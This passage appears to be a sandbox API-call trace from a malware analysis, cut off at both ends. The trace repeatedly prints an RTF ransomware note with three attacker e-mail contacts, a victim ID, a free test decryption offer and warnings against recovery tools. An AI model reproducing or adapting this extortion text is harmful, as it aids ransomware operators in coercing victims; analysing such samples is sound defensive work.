BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 